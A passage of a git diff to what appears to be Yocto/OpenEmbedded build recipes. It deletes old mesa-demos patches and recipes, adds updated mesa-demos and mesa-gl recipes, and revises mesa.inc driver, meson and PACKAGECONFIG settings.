- glslstateschange2.frag \
-diff --git a/src/vpglsl/Makefile.am b/src/vpglsl/Makefile.am
-index 48b08f48..55268675 100644
---- a/src/vpglsl/Makefile.am
-+++ b/src/vpglsl/Makefile.am
-@@ -38,7 +38,8 @@ noinst_PROGRAMS = \
- vp-tris
- endif
-
--EXTRA_DIST = \
-+demosdatadir=$(datadir)/$(PACKAGE)/
-+dist_demosdata_DATA= \
- for.glsl \
- func.glsl \
- func2.glsl \
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch b/meta/recipes-graphics/mesa/mesa-demos/0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch
deleted file mode 100644
index c687647407..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 3aa84c47e88a4c38446ce1323abf6f2c77389104 Mon Sep 17 00:00:00 2001
-From: Prabhu <prabhu.sundararaj@freescale.com>
-Date: Mon, 16 Nov 2015 17:09:32 -0600
-Subject: [PATCH] mesa-demos: OpenVG demos with single frame need eglSwapBuffer
-
-sp and text demos rendering single frame. to display the
-single frame rendered needed a eglSwapBuffer to diplay to window.
-Hence added eglutPostRedisplay to display the frame
-
-Upstream-Status: Pending
-
-Signed-off-by: Prabhu <prabhu.sundararaj@freescale.com>
----
- src/egl/openvg/sp.c | 1 +
- src/egl/openvg/text.c | 1 +
- 2 files changed, 2 insertions(+)
-
-diff --git a/src/egl/openvg/sp.c b/src/egl/openvg/sp.c
-index a20c0a3..468e91e 100644
---- a/src/egl/openvg/sp.c
-+++ b/src/egl/openvg/sp.c
-@@ -500,6 +500,7 @@ draw(void)
- }
-
- vgFlush();
-+ eglutPostRedisplay();
- }
-
-
-diff --git a/src/egl/openvg/text.c b/src/egl/openvg/text.c
-index f5c6de8..492581c 100644
---- a/src/egl/openvg/text.c
-+++ b/src/egl/openvg/text.c
-@@ -360,6 +360,7 @@ display(void)
- {
- vgClear(0, 0, width, height);
- glyph_string_draw(10.0, 10.0);
-+ eglutPostRedisplay();
- }
-
-
---
-2.5.1
-
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch b/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch
deleted file mode 100644
index e7be4dfbe1..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 322af294390a7f4e1524c5a79312be6cbebce988 Mon Sep 17 00:00:00 2001
-From: Awais Belal <awais_belal@mentor.com>
-Date: Wed, 11 Nov 2015 17:22:12 +0500
-Subject: [PATCH] only build GLX demos if needed
-
-There are platforms that default to EGL only configurations
-in which case the GLX applications are not required
-at all. Allow the user to control generation of these
-demos as needed through a configure switch.
-
-Signed-off-by: Awais Belal <awais_belal@mentor.com>
-Upstream-Status: Pending
----
- configure.ac | 9 +++++++++
- src/Makefile.am | 6 +++++-
- 2 files changed, 14 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index f8ec7e3..1a4d96d 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -132,6 +132,11 @@ if test "x$enable_glu" = xyes; then
- DEMO_LIBS="$DEMO_LIBS $GLU_LIBS"
- fi
-
-+AC_ARG_ENABLE([glx-demos],
-+ [AS_HELP_STRING([--enable-glx-demos],
-+ [enable GLX demos @<:@default=auto@:>@])],
-+ [glx_demos_enabled="$enableval"],
-+ [glx_demos_enabled=yes])
- AC_ARG_ENABLE([egl],
- [AS_HELP_STRING([--enable-egl],
- [enable EGL library @<:@default=auto@:>@])],
-@@ -325,6 +333,7 @@ AC_SUBST([WAYLAND_LIBS])
-
- AM_CONDITIONAL(HAVE_GLU, test "x$glu_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLEW, test "x$glew_enabled" = "xyes")
-+AM_CONDITIONAL(HAVE_GLX, test "x$glx_demos_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_EGL, test "x$egl_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV1, test "x$glesv1_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV2, test "x$glesv2_enabled" = "xyes")
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 8b89dee..a4d7e8f 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -44,8 +44,12 @@ SUBDIRS = \
- slang \
- tests \
- tools \
-- wgl \
-+ wgl
-+
-+if HAVE_GLX
-+SUBDIRS += \
- xdemos
-+endif
-
- if HAVE_GLEW
- SUBDIRS += \
---
-1.9.1
-
diff --git a/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb b/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
deleted file mode 100644
index 38bdbded29..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "Mesa demo applications"
-DESCRIPTION = "This package includes the demonstration application, such as glxgears. \
-These applications can be used for Mesa validation and benchmarking."
-HOMEPAGE = "http://mesa3d.org"
-BUGTRACKER = "https://bugs.freedesktop.org"
-SECTION = "x11"
-
-LICENSE = "MIT & PD"
-LIC_FILES_CHKSUM = "file://src/xdemos/glxgears.c;beginline=1;endline=20;md5=914225785450eff644a86c871d3ae00e \
- file://src/xdemos/glxdemo.c;beginline=1;endline=8;md5=b01d5ab1aee94d35b7efaa2ef48e1a06"
-
-SRC_URI = "https://mesa.freedesktop.org/archive/demos/${BPN}-${PV}.tar.bz2 \
- file://0001-mesa-demos-Add-missing-data-files.patch \
- file://0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch \
- file://0004-Use-DEMOS_DATA_DIR-to-locate-data-files.patch \
- file://0007-Install-few-more-test-programs.patch \
- file://0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch \
- file://0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch \
- file://0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch \
- file://0013-only-build-GLX-demos-if-needed.patch \
- "
-SRC_URI[md5sum] = "6b65a02622765522176d00f553086fa3"
-SRC_URI[sha256sum] = "01e99c94a0184e63e796728af89bfac559795fb2a0d6f506fa900455ca5fff7d"
-
-inherit autotools pkgconfig features_check
-# depends on virtual/egl, virtual/libgl ...
-REQUIRED_DISTRO_FEATURES = "opengl x11"
-
-PACKAGECONFIG ?= "drm osmesa freetype2 gbm egl gles1 gles2 \
- x11 glew glu glx"
-
-# The Wayland code doesn't work with Wayland 1.0, so disable it for now
-#${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)}"
-
-EXTRA_OECONF = "--with-system-data-files"
-
-PACKAGECONFIG[drm] = "--enable-libdrm,--disable-libdrm,libdrm"
-PACKAGECONFIG[egl] = "--enable-egl,--disable-egl,virtual/egl"
-PACKAGECONFIG[freetype2] = "--enable-freetype2,--disable-freetype2,freetype"
-PACKAGECONFIG[gbm] = "--enable-gbm,--disable-gbm,virtual/libgl"
-PACKAGECONFIG[gles1] = "--enable-gles1,--disable-gles1,virtual/libgles1"
-PACKAGECONFIG[gles2] = "--enable-gles2,--disable-gles2,virtual/libgles2"
-PACKAGECONFIG[glut] = "--with-glut=${STAGING_EXECPREFIXDIR},--without-glut,freeglut"
-PACKAGECONFIG[osmesa] = "--enable-osmesa,--disable-osmesa,"
-PACKAGECONFIG[vg] = "--enable-vg,--disable-vg,virtual/libopenvg"
-PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,virtual/libgl wayland"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11"
-PACKAGECONFIG[glew] = "--enable-glew,--disable-glew,glew"
-PACKAGECONFIG[glu] = "--enable-glu,--disable-glu,virtual/libgl"
-PACKAGECONFIG[glx] = "--enable-glx-demos,--disable-glx-demos"
-
-do_install_append() {
- # it can be completely empty when all PACKAGECONFIG options are disabled
- rmdir --ignore-fail-on-non-empty ${D}${bindir}
-
- if [ -f ${D}${bindir}/clear ]; then
- mv ${D}${bindir}/clear ${D}${bindir}/clear.mesa-demos
- fi
-}
diff --git a/meta/recipes-graphics/mesa/mesa-demos_8.5.0.bb b/meta/recipes-graphics/mesa/mesa-demos_8.5.0.bb
new file mode 100644
index 0000000000..12f41d75a5
--- /dev/null
+++ b/meta/recipes-graphics/mesa/mesa-demos_8.5.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Mesa demo applications"
+DESCRIPTION = "This package includes the demonstration application, such as glxgears. \
+These applications can be used for Mesa validation and benchmarking."
+HOMEPAGE = "http://mesa3d.org"
+BUGTRACKER = "https://bugs.freedesktop.org"
+SECTION = "x11"
+
+LICENSE = "MIT & PD"
+LIC_FILES_CHKSUM = "file://src/xdemos/glxgears.c;beginline=1;endline=20;md5=914225785450eff644a86c871d3ae00e \
+ file://src/xdemos/glxdemo.c;beginline=1;endline=8;md5=b01d5ab1aee94d35b7efaa2ef48e1a06"
+
+SRC_URI = "https://mesa.freedesktop.org/archive/demos/${PV}/${BPN}-${PV}.tar.bz2 \
+ file://0001-mesa-demos-Add-missing-data-files.patch \
+ file://0004-Use-DEMOS_DATA_DIR-to-locate-data-files.patch \
+ "
+SRC_URI[sha256sum] = "cea2df0a80f09a30f635c4eb1a672bf90c5ddee0b8e77f4d70041668ef71aac1"
+
+inherit meson pkgconfig features_check
+# depends on virtual/egl, virtual/libgl ...
+REQUIRED_DISTRO_FEATURES = "opengl x11"
+
+EXTRA_OEMESON = "-Dwith-system-data-files=true"
+
+PACKAGECONFIG ?= "drm egl gles1 gles2 \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)}"
+
+PACKAGECONFIG[drm] = "-Dlibdrm=enabled,-Dlibdrm=disabled,libdrm"
+PACKAGECONFIG[egl] = "-Degl=enabled,-Degl=disabled,virtual/egl"
+PACKAGECONFIG[gles1] = "-Dgles1=enabled,-Dgles1=disabled,virtual/libgles1"
+PACKAGECONFIG[gles2] = "-Dgles2=enabled,-Dgles2=disabled,virtual/libgles2"
+PACKAGECONFIG[glut] = "-Dwith-glut=${STAGING_EXECPREFIXDIR},,freeglut"
+PACKAGECONFIG[osmesa] = "-Dosmesa=enabled,-Dosmesa=disabled,"
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/libgl wayland wayland-native wayland-protocols"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,virtual/libx11 libglu"
+
+do_install:append() {
+ # it can be completely empty when all PACKAGECONFIG options are disabled
+ rmdir --ignore-fail-on-non-empty ${D}${bindir}
+
+ if [ -f ${D}${bindir}/clear ]; then
+ mv ${D}${bindir}/clear ${D}${bindir}/clear.mesa-demos
+ fi
+}
diff --git a/meta/recipes-graphics/mesa/mesa-gl_20.1.4.bb b/meta/recipes-graphics/mesa/mesa-gl_20.1.4.bb
deleted file mode 100644
index e50782be1c..0000000000
--- a/meta/recipes-graphics/mesa/mesa-gl_20.1.4.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require mesa.inc
-
-SUMMARY += " (OpenGL only, no EGL/GLES)"
-
-PROVIDES = "virtual/libgl virtual/mesa"
-
-S = "${WORKDIR}/mesa-${PV}"
-
-# At least one DRI rendering engine is required to build mesa.
-# When no X11 is available, use osmesa for the rendering engine.
-PACKAGECONFIG ??= "opengl dri ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa', d)}"
-PACKAGECONFIG_class-target = "opengl dri ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa', d)}"
-
-# When NOT using X11, we need to make sure we have swrast available.
-DRIDRIVERS_append = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', ',swrast', d)}"
diff --git a/meta/recipes-graphics/mesa/mesa-gl_24.0.3.bb b/meta/recipes-graphics/mesa/mesa-gl_24.0.3.bb
new file mode 100644
index 0000000000..ca160f1bfc
--- /dev/null
+++ b/meta/recipes-graphics/mesa/mesa-gl_24.0.3.bb
@@ -0,0 +1,15 @@
+require mesa.inc
+
+SUMMARY += " (OpenGL only, no EGL/GLES)"
+
+PROVIDES = "virtual/libgl virtual/mesa"
+
+S = "${WORKDIR}/mesa-${PV}"
+
+TARGET_CFLAGS = "-I${STAGING_INCDIR}/drm"
+
+# At least one DRI rendering engine is required to build mesa.
+# When no X11 is available, use osmesa for the rendering engine.
+PACKAGECONFIG ??= "opengl gallium ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa', d)}"
+PACKAGECONFIG:class-target = "opengl gallium ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa', d)}"
+
diff --git a/meta/recipes-graphics/mesa/mesa.inc b/meta/recipes-graphics/mesa/mesa.inc
index 8d8e5288a9..1c9fa66c72 100644
--- a/meta/recipes-graphics/mesa/mesa.inc
+++ b/meta/recipes-graphics/mesa/mesa.inc
@@ -10,36 +10,39 @@ HOMEPAGE = "http://mesa3d.org"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://docs/license.html;md5=c1843d93c460bbf778d6037ce324f9f7"
+LIC_FILES_CHKSUM = "file://docs/license.rst;md5=63779ec98d78d823a9dc533a0735ef10"
PE = "2"
SRC_URI = "https://mesa.freedesktop.org/archive/mesa-${PV}.tar.xz \
file://0001-meson.build-check-for-all-linux-host_os-combinations.patch \
- file://0002-meson.build-make-TLS-ELF-optional.patch \
- file://0003-Allow-enable-DRI-without-DRI-drivers.patch \
- file://0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch \
- file://0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch \
file://0001-meson-misdetects-64bit-atomics-on-mips-clang.patch \
- "
+ file://0001-drisw-fix-build-without-dri3.patch \
+ file://0002-glxext-don-t-try-zink-if-not-enabled-in-mesa.patch \
+ file://0001-Revert-meson-do-not-pull-in-clc-for-clover.patch \
+"
-SRC_URI[sha256sum] = "6800271c2be2a0447510eb4e9b67edd9521859a4d565310617c4b359eb6799fe"
+SRC_URI[sha256sum] = "77aec9a2a37b7d3596ea1640b3cc53d0b5d9b3b52abed89de07e3717e91bfdbe"
UPSTREAM_CHECK_GITTAGREGEX = "mesa-(?P<pver>\d+(\.\d+)+)"
#because we cannot rely on the fact that all apps will use pkgconfig,
#make eglplatform.h independent of MESA_EGL_NO_X11_HEADER
-do_install_append() {
- if ${@bb.utils.contains('PACKAGECONFIG', 'egl', 'true', 'false', d)}; then
- sed -i -e 's/^#elif defined(__unix__) && defined(EGL_NO_X11)$/#elif defined(__unix__) \&\& defined(EGL_NO_X11) || ${@bb.utils.contains('PACKAGECONFIG', 'x11', '0', '1', d)}/' ${D}${includedir}/EGL/eglplatform.h
- fi
+do_install:append() {
+ # sed can't find EGL/eglplatform.h as it doesn't get installed when glvnd enabled.
+ # So, check if EGL/eglplatform.h exists before running sed.
+ if ${@bb.utils.contains('PACKAGECONFIG', 'egl', 'true', 'false', d)} && [ -f ${D}${includedir}/EGL/eglplatform.h ]; then
+ sed -i -e 's/^#elif defined(__unix__) && defined(EGL_NO_X11)$/#elif defined(__unix__) \&\& defined(EGL_NO_X11) || ${@bb.utils.contains('PACKAGECONFIG', 'x11', '0', '1', d)}/' ${D}${includedir}/EGL/eglplatform.h
+ fi
}
DEPENDS = "expat makedepend-native flex-native bison-native libxml2-native zlib chrpath-replacement-native python3-mako-native gettext-native"
+DEPENDS:append:class-target = " ${@bb.utils.contains('PACKAGECONFIG', 'opencl', 'mesa-native', '', d)}"
EXTRANATIVEPATH += "chrpath-native"
PROVIDES = " \
${@bb.utils.contains('PACKAGECONFIG', 'opengl', 'virtual/libgl', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'gles', 'virtual/libgles1 virtual/libgles2', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'glvnd', 'virtual/libglx', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'gles', 'virtual/libgles1 virtual/libgles2 virtual/libgles3', '', d)} \
${@bb.utils.contains('PACKAGECONFIG', 'egl', 'virtual/egl', '', d)} \
${@bb.utils.contains('PACKAGECONFIG', 'gbm', 'virtual/libgbm', '', d)} \
virtual/mesa \
@@ -47,25 +50,11 @@ PROVIDES = " \
inherit meson pkgconfig python3native gettext features_check
-# Unset these to stop python trying to report the target Python setup
-_PYTHON_SYSCONFIGDATA_NAME[unexport] = "1"
-STAGING_INCDIR[unexport] = "1"
-STAGING_LIBDIR[unexport] = "1"
-
BBCLASSEXTEND = "native nativesdk"
-ANY_OF_DISTRO_FEATURES_class-target = "opengl vulkan"
-
-PLATFORMS ??= "${@bb.utils.filter('PACKAGECONFIG', 'x11 wayland', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'gbm', 'drm', '', d)} \
- surfaceless"
-
-export YOCTO_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR}/llvm${MESA_LLVM_RELEASE}/llvm-config"
-export YOCTO_ALTERNATE_MULTILIB_NAME = "${base_libdir}"
-export LLVM_CONFIG = "${STAGING_BINDIR_NATIVE}/llvm-config${MESA_LLVM_RELEASE}"
-export WANT_LLVM_RELEASE = "${MESA_LLVM_RELEASE}"
+ANY_OF_DISTRO_FEATURES = "opengl vulkan"
-MESA_LLVM_RELEASE ?= "${LLVMVERSION}"
+PLATFORMS ??= "${@bb.utils.filter('PACKAGECONFIG', 'x11 wayland', d)}"
# set the MESA_BUILD_TYPE to either 'release' (default) or 'debug'
# by default the upstream mesa sources build a debug release
@@ -81,233 +70,299 @@ def check_buildtype(d):
MESON_BUILDTYPE = "${@check_buildtype(d)}"
EXTRA_OEMESON = " \
- -Dshared-glapi=true \
- -Dgallium-opencl=disabled \
+ -Dshared-glapi=enabled \
-Dglx-read-only-text=true \
-Dplatforms='${@",".join("${PLATFORMS}".split())}' \
"
-PACKAGECONFIG_class-target ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland vulkan', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl egl gles gbm dri gallium virgl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'x11 dri3', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 vulkan', 'dri3', '', d)} \
- elf-tls \
- "
-PACKAGECONFIG_class-native ?= "gbm dri egl opengl elf-tls x11"
-PACKAGECONFIG_class-nativesdk ?= "gbm dri egl opengl elf-tls x11"
+EXTRA_OEMESON:append:class-target = " ${@bb.utils.contains('PACKAGECONFIG', 'opencl', '-Dintel-clc=system', '', d)}"
+EXTRA_OEMESON:append:class-native = " ${@bb.utils.contains('PACKAGECONFIG', 'opencl', '-Dintel-clc=enabled', '', d)}"
-PACKAGECONFIG_remove_libc-musl = "elf-tls"
+def strip_comma(s):
+ return s.strip(',')
-# "gbm" requires "dri", "opengl"
-PACKAGECONFIG[gbm] = "-Dgbm=true,-Dgbm=false"
+PACKAGECONFIG = " \
+ gallium \
+ video-codecs \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'x11 vulkan wayland', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl egl gles gbm virgl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'dri3', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 vulkan', 'dri3', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'vulkan', 'zink', '', d)} \
+"
+
+PACKAGECONFIG:append:class-native = "gallium-llvm r600"
+
+# "gbm" requires "opengl"
+PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled"
X11_DEPS = "xorgproto virtual/libx11 libxext libxxf86vm libxdamage libxfixes xrandr"
# "x11" requires "opengl"
PACKAGECONFIG[x11] = ",-Dglx=disabled,${X11_DEPS}"
-PACKAGECONFIG[elf-tls] = "-Delf-tls=true, -Delf-tls=false"
-PACKAGECONFIG[xvmc] = "-Dgallium-xvmc=true,-Dgallium-xvmc=false,libxvmc"
PACKAGECONFIG[wayland] = ",,wayland-native wayland libdrm wayland-protocols"
-DRIDRIVERS_class-native = "swrast"
-DRIDRIVERS_class-nativesdk = "swrast"
-DRIDRIVERS_append_x86_class-target = ",r100,r200,nouveau,i965,i915"
-DRIDRIVERS_append_x86-64_class-target = ",r100,r200,nouveau,i965,i915"
-# "dri" requires "opengl"
-PACKAGECONFIG[dri] = "-Ddri=true -Ddri-drivers=${DRIDRIVERS}, -Ddri=false -Ddri-drivers='', xorgproto libdrm"
-PACKAGECONFIG[dri3] = "-Ddri3=true, -Ddri3=false, xorgproto libxshmfence"
+PACKAGECONFIG[dri3] = "-Ddri3=enabled, -Ddri3=disabled, xorgproto libxshmfence"
# Vulkan drivers need dri3 enabled
-# radeon could be enabled as well but requires gallium-llvm with llvm >= 3.9
+# amd could be enabled as well but requires gallium-llvm with llvm >= 3.9
VULKAN_DRIVERS = ""
-VULKAN_DRIVERS_append_x86_class-target = ",intel"
-VULKAN_DRIVERS_append_x86-64_class-target = ",intel"
-VULKAN_DRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
-PACKAGECONFIG[vulkan] = "-Dvulkan-drivers=${VULKAN_DRIVERS}, -Dvulkan-drivers='',"
+VULKAN_DRIVERS:append:x86 = ",intel,amd"
+VULKAN_DRIVERS:append:x86-64 = ",intel,amd"
+# i686 is a 32 bit override for mesa-native
+VULKAN_DRIVERS:append:i686 = ",intel,amd"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'broadcom', ',broadcom', '', d)}"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', ',swrast', '', d)}"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'imagination', ',imagination-experimental', '', d)}"
+PACKAGECONFIG[vulkan] = "-Dvulkan-drivers=${@strip_comma('${VULKAN_DRIVERS}')}, -Dvulkan-drivers='',glslang-native vulkan-loader vulkan-headers"
+
+# mesa development and testing tools support, per driver
+TOOLS = ""
+TOOLS_DEPS = ""
+TOOLS:append = "${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
+TOOLS:append = "${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+TOOLS:append = "${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
+TOOLS:append = "${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
+TOOLS:append = "${@bb.utils.contains('PACKAGECONFIG', 'imagination', ',imagination', '', d)}"
+
+# dependencies for tools.
+TOOLS_DEPS:append = "${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ' ncurses libxml2 ', '', d)}"
+
+# the fdperf tool requires libconfig (a part of meta-oe) so it needs special
+# treatment in addition to the usual 'freedreno tools'.
+PACKAGECONFIG[freedreno-fdperf] = ",,libconfig"
+
+PACKAGECONFIG[tools] = "-Dtools=${@strip_comma('${TOOLS}')}, -Dtools='', ${TOOLS_DEPS}"
PACKAGECONFIG[opengl] = "-Dopengl=true, -Dopengl=false"
+PACKAGECONFIG[glvnd] = "-Dglvnd=true, -Dglvnd=false, libglvnd"
# "gles" requires "opengl"
-PACKAGECONFIG[gles] = "-Dgles1=true -Dgles2=true, -Dgles1=false -Dgles2=false"
+PACKAGECONFIG[gles] = "-Dgles1=enabled -Dgles2=enabled, -Dgles1=disabled -Dgles2=disabled"
-# "egl" requires "dri", "opengl"
-PACKAGECONFIG[egl] = "-Degl=true, -Degl=false"
+# "egl" requires "opengl"
+PACKAGECONFIG[egl] = "-Degl=enabled, -Degl=disabled"
+# "opencl" requires libclc from meta-clang and spirv-tools from OE-Core
+OPENCL_NATIVE = "${@bb.utils.contains('PACKAGECONFIG', 'freedreno', '-Dopencl-native=true', '', d)}"
+PACKAGECONFIG[opencl] = "-Dgallium-opencl=icd -Dopencl-spirv=true ${OPENCL_NATIVE},-Dgallium-opencl=disabled -Dopencl-spirv=false,libclc spirv-tools python3-ply-native"
+
+PACKAGECONFIG[broadcom] = ""
PACKAGECONFIG[etnaviv] = ""
PACKAGECONFIG[freedreno] = ""
PACKAGECONFIG[kmsro] = ""
PACKAGECONFIG[vc4] = ""
PACKAGECONFIG[v3d] = ""
+PACKAGECONFIG[zink] = ""
GALLIUMDRIVERS = "swrast"
# gallium swrast was found to crash Xorg on startup in x32 qemu
-GALLIUMDRIVERS_x86-x32 = ""
-
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'kmsro', ',kmsro', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'vc4', ',vc4', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'v3d', ',v3d', '', d)}"
+GALLIUMDRIVERS:x86-x32 = ""
+GALLIUMDRIVERS:append:x86 = ",i915,iris,crocus"
+GALLIUMDRIVERS:append:x86-64 = ",i915,iris,crocus"
+# i686 is a 32 bit override for mesa-native
+GALLIUMDRIVERS:append:i686 = ",i915,iris,crocus"
+
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'kmsro', ',kmsro', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'vc4', ',vc4', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'v3d', ',v3d', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'zink', ',zink', '', d)}"
# radeonsi requires LLVM
-GALLIUMDRIVERS_LLVM33 = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',radeonsi', '', d)}"
-GALLIUMDRIVERS_LLVM33_ENABLED = "${@oe.utils.version_less_or_equal('MESA_LLVM_RELEASE', '3.2', False, len('${GALLIUMDRIVERS_LLVM33}') > 0, d)}"
-GALLIUMDRIVERS_LLVM = "r300,svga,nouveau${@',${GALLIUMDRIVERS_LLVM33}' if ${GALLIUMDRIVERS_LLVM33_ENABLED} else ''}"
+GALLIUMDRIVERS_RADEONSI = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',radeonsi', '', d)}"
+GALLIUMDRIVERS_LLVM = ",r300,nouveau${GALLIUMDRIVERS_RADEONSI}"
+GALLIUMDRIVERS_LLVM:append:x86 = ",svga"
+GALLIUMDRIVERS_LLVM:append:x86-64 = ",svga"
+# i686 is a 32 bit override for mesa-native
+GALLIUMDRIVERS_LLVM:append:i686 = ",svga"
PACKAGECONFIG[r600] = ""
PACKAGECONFIG[virgl] = ""
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', ',${GALLIUMDRIVERS_LLVM}', '', d)}"
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',r600', '', d)}"
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'virgl', ',virgl', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', '${GALLIUMDRIVERS_LLVM}', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',r600', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'virgl', ',virgl', '', d)}"
-PACKAGECONFIG[gallium] = "-Dgallium-drivers=${GALLIUMDRIVERS}, -Dgallium-drivers=''"
-PACKAGECONFIG[gallium-llvm] = "-Dllvm=true -Dshared-llvm=true, -Dllvm=false, llvm${MESA_LLVM_RELEASE} llvm-native \
- ${@'elfutils' if ${GALLIUMDRIVERS_LLVM33_ENABLED} else ''}"
-PACKAGECONFIG[xa] = "-Dgallium-xa=true, -Dgallium-xa=false"
-PACKAGECONFIG[va] = "-Dgallium-va=true,-Dgallium-va=false,libva-initial"
+PACKAGECONFIG[gallium] = "-Dgallium-drivers=${@strip_comma('${GALLIUMDRIVERS}')}, -Dgallium-drivers='', libdrm"
+PACKAGECONFIG[gallium-llvm] = "-Dllvm=enabled -Dshared-llvm=enabled, -Dllvm=disabled, llvm llvm-native elfutils"
+PACKAGECONFIG[xa] = "-Dgallium-xa=enabled, -Dgallium-xa=disabled"
+PACKAGECONFIG[va] = "-Dgallium-va=enabled,-Dgallium-va=disabled,libva-initial"
+PACKAGECONFIG[vdpau] = "-Dgallium-vdpau=enabled,-Dgallium-vdpau=disabled,libvdpau"
-PACKAGECONFIG[vdpau] = "-Dgallium-vdpau=true,-Dgallium-vdpau=false,libvdpau"
+PACKAGECONFIG[imagination] = "-Dimagination-srv=true,-Dimagination-srv=false"
PACKAGECONFIG[lima] = ""
